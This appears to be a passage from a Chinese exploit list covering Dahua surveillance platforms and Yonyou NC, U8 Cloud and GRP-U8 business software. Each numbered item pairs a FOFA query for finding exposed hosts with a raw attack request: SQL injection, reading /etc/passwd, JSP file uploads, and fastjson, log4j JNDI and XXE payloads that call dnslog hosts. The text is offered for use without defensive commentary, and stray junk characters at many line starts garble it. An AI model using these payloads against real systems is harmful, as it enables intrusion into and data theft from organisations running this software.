User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 [( K) l2 @% P* L# KContent-Length: 345
9 F; L8 @: E0 S9 _Accept-Encoding: gzip

& u& S5 k  H9 \! f( D$ Z% Y6 \0 p<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
, R3 ?1 w2 E2 k' Z" u! P<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
7 o# f* ]0 v4 |2 U* u       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
6 K5 o( m/ ~$ U" n+ B  </s11:Body>
  I$ Z2 I# [+ z! R* `</s11:Envelope>


( s3 d0 b3 I% m# y( t0 ]+ E18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
8 J; s- f! j2 Q$ S9 x' ?, t: T8 aFOFA：app="dahua-DSS"
9 R' x, O; j! [: u2 g; cGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
  R  z2 s" c0 P# V& H+ r; V; O8 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 y7 D, l* c8 ]1 n1 j# I4 RAccept-Encoding: gzip, deflate
Accept: */*
6 J' d5 L8 J0 O" |, m5 JConnection: keep-alive
: s) x5 S0 m  Q% w% T

- A+ I5 y( x1 u5 }! d& d% K
$ Y! [" ^- p! Z( c4 ]3 Z. N  `( S19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
4 b+ Z6 R% J9 Z6 C6 VGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
5 @+ ?9 v1 _+ B: l. x0 y; `Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) t3 J' U% X5 M6 BAccept-Encoding: gzip, deflate
Accept: */*
" R1 U5 l" n; n. R& yConnection: keep-alive
; {1 s  D7 s  x/ n. e. E$ G" C

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
# q- o  j" z; m: UHost: x.x.x.x
& j4 }% Q' X4 ]" C9 o* s+ O5 C) tUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
8 `  Y& a. u7 pAccept-Language: en
Accept-Encoding: gzip

& z: q3 V' ?9 U# d9 w6 n
! x  S# Q. I& K* q21. 大华ICC智能物联综合管理平台random远程代码执行
& Y/ H/ f' q& Q- z0 pFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
  V% t3 Y8 R  e- U; g  D, y; V: cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" D- A) N9 ~; b0 L4 V2 FContent-Length: 161
  }! H$ E* p: O% lAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
6 n) J+ s6 }! d, u7 c2 W' F
& q  |) w1 {' t1 m- E3 H& F- K" a{
/ ?) S4 x3 {+ m"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
: k! G$ n# R- j1 K4 J+ Q

! v* U' H6 s  K/ h22. 大华ICC智能物联综合管理平台 log4j远程代码执行
( m3 k# j& q( z! l) GFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
( N+ I/ C6 U4 w% I* ?5 `" E- bHost: your-ip
1 O! e/ R+ @/ C6 |  n+ w" UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) O8 I1 ?% L. O0 V6 b6 K3 u; eContent-Type: application/json;charset=utf-8
4 k& A( W3 `5 ^$ `
0 t& H4 X* M* [, \/ J4 ^/ x{
, N- X' P0 H/ D# q& G3 u9 b3 ]"loginName":"${jndi:ldap://dnslog}"
! y5 }" g$ l7 D: @, ]}
) u1 n9 [% a8 W2 e5 P
4 U5 W( z5 S# |6 X& }3 t

8 S4 I. a- W! ^; E7 V$ r* e23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 @& {% d1 o6 Z9 Z6 K+ YFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) `8 n) T. x  LContent-Type: application/json;charset=utf-8
) v0 n+ G7 G+ o  j. kAccept-Encoding: gzip
Connection: close

0 a. v9 T  F( s7 F+ H5 U6 t1 y' r{
  j, O. y+ i2 ~" H& F    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
+ i' F5 o1 q) i0 o' o/ Z        }""
6 @  z. Z0 x- s7 O; s' \( O0 L}
, Q3 A0 w9 u+ Y9 f

8 H4 j) @' L  V( u5 L& @24. 用友NC 6.5 accept.jsp任意文件上传
9 c8 d4 w6 k! w- k) CFOFA：icon_hash="1085941792"
0 o7 G2 `9 e* b7 \* R+ k8 c) _POST /aim/equipmap/accept.jsp HTTP/1.1
6 u& R2 Q5 @; T/ i* {Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
9 I6 P1 N# F8 |Connection: close
6 L& L% C  b; ]3 B- k' F% U$ h* l: HContent-Length: 449
4 M1 h1 ^2 w2 t5 t3 U" uAccept: */*
  ]- I* t4 U, U: Z6 M9 {$ ^1 ZAccept-Encoding: gzip
! t% g, n+ K% d6 f9 jContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
3 R9 x# r5 A0 h
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% k2 Y/ V/ G5 T$ r6 K5 o  _6 N/ xContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
% y5 d1 L9 \& g  }' U
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
; T: z6 y6 r: S3 x7 q-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
: q( h# a; R5 _2 P" b
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

. [# ]% ]: z: Y/ S3 J
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
2 O; V6 V7 `1 u% ]9 Y$ E. o3 c# wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
: C% {# P. x) o- N2 A' pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
# K* n2 s3 j1 t; Y/ bAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
- i$ Z6 s% ^9 L7 NContent-Type: application/x-www-form-urlencoded

, V& N* ~$ i0 `0 y- ltype=1&dsname=ldap://dnslog
3 }' W. i: g% f! f


26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
; Q3 e$ {1 L# m( x1 b* ^/ _' @8 ^GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 ?' L" L+ s% Z  h+ lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& I- c* m. e$ k: |! Q4 ]) U( IAccept-Encoding: gzip, deflate
Accept: */*
* f( b# v6 P8 d$ hConnection: keep-alive


) J( D, h9 G; @& ~4 R' _27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
3 _+ z2 U. i( I* GGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
( s( G5 I# Z$ n
1 x1 G( G( R$ {5 ~
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
( p* l8 B7 r2 q/ ePOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
! T! }! q4 [2 g8 {Host: x.x.x.x
! P$ n9 y3 ~) z$ Y' lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
9 X8 Y9 y+ S* L9 r+ XContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
6 X1 X4 s$ t( j5 c" k) `6 RAccept-Encoding: gzip

0 C4 E4 t. T0 b7 j+ g, y------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" W- l' f- H1 u) s( A* m6 D. S9 CContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
- Y2 s+ Z9 E+ W3 C& u' q9 NContent-Type: application/octet-stream

! }7 u1 R' e9 H- P7 I& b, f<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
: M9 n  o+ M( \. p$ j3 n. N& T
' _6 H$ z# j9 q1 S
/ D; E$ |/ W9 ]& l$ p- |2 B/uapim/static/pages/nc/head.jsp

) y! R, V) M! e. I! ?% B( D29. 用友NC down/bill SQL注入
4 `6 m/ z* ?8 i+ N8 g9 P( NFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
' [* Y& m  f9 gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: O6 o- G3 q5 ]1 d; xContent-Type: application/x-www-form-urlencoded
7 m* `+ Q' M1 ~5 ]4 dAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 ^) N( \7 m) f4 k, p

7 Z  K8 }% u% ?' {- }7 L1 n30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
$ G$ B" R1 U  u+ x# UPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
; y: E& {+ s' |+ w) x$ }; Q5 O# x* cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ @: G' i4 z3 H: ^Connection: close

9 Q  |5 r. Y6 V) k* P------WebKitFormBoundaryH970hbttBhoCyj9V
; F" V: N, w% U0 LContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
$ S6 v4 k! Z* b' i$ l

31. 用友NC runStateServlet SQL注入
version<=6.5
+ _* h* n4 O3 L% `+ s# i# iFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( O' |2 o6 ]# J* o- {6 FGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 u, f% d7 k2 T( h7 o8 M) D& P- kContent-Type: application/x-www-form-urlencoded


1 P+ v' g+ k- d; F+ o7 U32. 用友NC complainbilldetail SQL注入
1 F+ [; ^0 j2 O: C; lversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' D+ ]7 ]  j8 I6 s6 PHost: your-ip
! A, W7 w5 ?* }8 S9 U" M' IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& \, `: U& W$ x6 U! d# @) YAccept-Encoding: gzip, deflate
# J1 X5 v9 [" J0 R- u& \& I2 GAccept: */*
Connection: keep-alive
4 B: _" s6 G. c) J9 q# H$ f6 X

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
/ f6 c9 X1 B$ y5 n5 q  x% XGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; [& H. L- _1 P0 H$ C* X4 zHost: your-ip
  z4 K/ Y7 ]! e* {, hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
/ a  C- `3 ?2 n$ n. y" o+ pGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( I) ~- q; k! t( R# I  x, x1 \: ~Host: your-ip
, Y  o' y# ]) x) RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  b2 |5 N8 c# ?5 s; c3 m- u/ R- bAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
9 j7 P. _, Y* a4 ?+ d- n5 t
8 ~" A* r4 g; z8 j
35. 用友NC-Cloud importhttpscer任意文件上传
1 Z# Q0 I6 W" v3 U) Y" `8 MFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
$ _; d- X- V# \: |6 y) u' PAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
) I' L; R6 C) v/ n( S3 m" N, d/ jaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ N6 W7 n! a# {7 V+ R! sContent-Length: 190
/ y5 ^8 t% y; B0 R% ?/ }9 fContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

7 J6 e- H" f5 ?+ ?0 g% g--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
; Q7 z. b' }  q3 E/ Z' j
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
  {- k' c8 x& ]  }  r
% F4 B/ f# k9 P% R, ^
8 [2 a6 F3 q4 f0 X5 Q36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
2 a; q$ g& p: U! M9 j, hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
  C# J' z, A) v, u- o  S3 {( _Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  w) x5 y1 Q% _% |  sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 p. z; L3 C! J! J7 F5 V2 [Connection: close
' _0 [0 T  M# RContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
/ I8 ]! B7 p9 |8 \; m! Z

37. 用友NC-Cloud IUpdateService XXE
' O5 D! V3 U% S2 lFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ v2 z' ]3 a- zHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/ ?; {& e- v( r. a% r* p( w  dContent-Type: text/xml;charset=UTF-8
: Q4 ?) b% H& C8 E# GSOAPAction: urn:getResult
$ |5 U% g4 j* i8 d0 sUpgrade-Insecure-Requests: 1
& z6 O7 `$ j( W& w
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
: o) r9 U% {+ ^* ^. g! Z<iup:getResult>
4 D2 I: ?1 S* U" _2 B) L<!--type: string-->
# u4 k3 u/ A+ I. [, B' H<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
1 K" P; P  J% I2 K0 n5 ~4 `<xxx/>]]></iup:string>
0 X. ?  ?1 D1 N. [6 x</iup:getResult>
1 o. W, g  m6 e9 y$ f- a2 Y0 C% d</soapenv:Body>
</soapenv:Envelope>

9 y: {7 n* I3 V1 j
( U5 G& {' ]+ Y: r5 n
38. 用友U8 Cloud smartweb2.RPC.d XXE
% J4 r/ |  C' tFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
/ I4 `7 J& d1 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 |( |4 B9 k$ H, @4 v% m2 g+ TConnection: close
" K% Q+ r/ Y9 w9 ?% U; dContent-Type: application/x-www-form-urlencoded
7 x( A# N! X6 B7 }# W9 a
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
/ X; e3 L6 N, p1 I$ f
: U2 X0 _9 v) P
0 n3 W6 q" i) S39. 用友U8 Cloud RegisterServlet SQL注入
) Q& I6 t2 N. y; e3 V% E: F- c2 kFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
$ _) S, m$ N$ p  N4 Q; KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
: V6 p6 B2 P  W: cConnection: close
3 `8 L) _  a) R" H. |0 v& p1 P& p: O1 JContent-Length: 85
- P1 m4 Q6 H2 u9 M" {3 r) r2 JAccept: */*
Accept-Language: en
( S" r& Q% M2 ^+ J4 j! `Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

/ m9 y+ t, H+ eusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
' P+ Q5 O8 o1 ]6 y9 |8 x, _2 X  r

7 I+ }. f: r/ U7 m40. 用友U8-Cloud XChangeServlet XXE
6 s- w, O1 b0 d) M. h, A7 GFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
' R( h! f" A- Z* ]1 O; |+ q8 a9 HHost: x.x.x.x
# a' T5 J1 v/ ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
% W# I5 T0 q2 G2 T- n

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
8 l+ |9 Z* |! a5 R" @GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
8 {: s0 f7 l0 Q6 A' w0 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
! O) I! Z7 u) s* s3 o- HAccept-Encoding: gzip
' t: C: x$ W6 j, B; LConnection: close


42. 用友GRP-U8 SmartUpload01 文件上传
% {! k% `" o# j( s, e# _- O- {! kFOFA：app="用友-GRP-U8"
3 U9 e$ E3 n1 e! U( U9 b" m& zPOST /u8qx/SmartUpload01.jsp HTTP/1.1
" m" O! t  h# ~Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

' y- L9 O! l; R- N, ?PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
3 S& R$ c- O; E5 S3 q( q3 A
' L; E6 V& i! w1 A; t43. 用友GRP-U8 userInfoWeb SQL注入致RCE
/ M: |& T7 ~# ?$ x! F( VFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
3 G% B1 t+ X. }) e4 Y+ xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- @5 E* e" X2 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& e0 g1 a$ G* D. I' e; hSOAPAction:
& Z& N# N2 H  \9 ?/ G6 b' U( o* ^Content-Type: text/xml;charset=UTF-8
' K* W' @0 R$ I3 v/ i  j+ Q- @6 \
1 i9 x/ L1 G' I<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
1 p4 ]( k6 N: v& o1 C; X$ H8 h   <soapenv:Body>
; I7 J% w6 f' B: ?      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+ V6 h7 ], j. u$ P0 h2 P3 y         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
$ w$ K6 P" e3 N/ _      </ser:getUserNameById>
   </soapenv:Body>
' o7 Z( i- Z/ ~1 X- z. N# V</soapenv:Envelope>
! V7 @# J: d& |& M

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
# c- w; H+ r1 r: f9 v8 T/ KGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
0 S  I! t) V2 _  b1 }% YHost: your-ip
& M4 U9 c0 h9 V/ t3 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; B* g( }9 I5 n! b- C9 IAccept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
3 g! p9 B3 V/ o* u" L% ?. n! C- n' |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
; [5 P, m4 P# K0 YConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( O2 |9 u: z4 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
5 E2 n0 b; s; C. ]Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
8 U# P7 G; f! u4 k! `5 |<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

+ \# D4 ^& W0 @, L, m
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
$ T  O. O/ N* Y" c  S- FFOFA：app="用友-GRP-U8"
: D  g' r9 V' T$ e/ f) H4 VGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
+ I: f. O' ^8 g$ x- yHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# a3 Z  I0 V  D7 [4 e+ [% o" NAccept-Language: zh-CN,zh;q=0.9
. ?8 a9 Q# |6 G. rConnection: close
3 y# O( ^( X2 ^# m  ^- [

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* N' ]- {% c  H/ v, Z6 d. x+ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 w' f, k" L2 M0 @) i" VAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 _3 X5 Z/ \4 h6 KIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* d) x5 t+ u: [$ B6 ]Connection: close

' ?2 t: p7 J  z, P3 U

$ C- w3 F9 E4 @5 w3 z  p48. 用友U8 CRM swfupload 任意文件上传
- S- E3 k- _' k/ zFOFA：title="用友U8CRM"
